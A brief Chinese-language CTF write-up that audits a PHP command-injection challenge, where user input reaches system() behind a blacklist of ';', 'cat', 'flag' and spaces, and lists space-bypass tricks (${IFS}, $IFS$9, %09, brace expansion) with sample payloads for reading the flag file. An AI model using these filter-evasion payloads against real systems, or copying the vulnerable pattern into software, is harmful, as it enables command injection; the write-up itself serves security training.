1. 代码审计

    1. <?php
    2. if(isset($_GET['c'])){
    3. $c=$_GET['c'];
    4. if(!preg_match("/\;|cat|flag| /i", $c))
    5. //过滤了; cat flag 空格
    6. {
    7. system($c." >/dev/null 2>&1");
    8. }
    9. }else{
    10. highlight_file(__FILE__);
    11. }
  2. 还过滤了空格,要进行空格绕过

    > < <> 重定向符
    %09(需要php环境)
    ${IFS}
    $IFS$9 #$9指传过来的第9个参数
    {cat,flag.php} #用逗号实现了空格功能
    %20
    

    ```shell ?c=tac${IFS}fl%0a ?c=tac$IFS$9fl$IFS$9||

%20不行的原因是,get提交时,会自动进行解码成空格,匹配上正则

```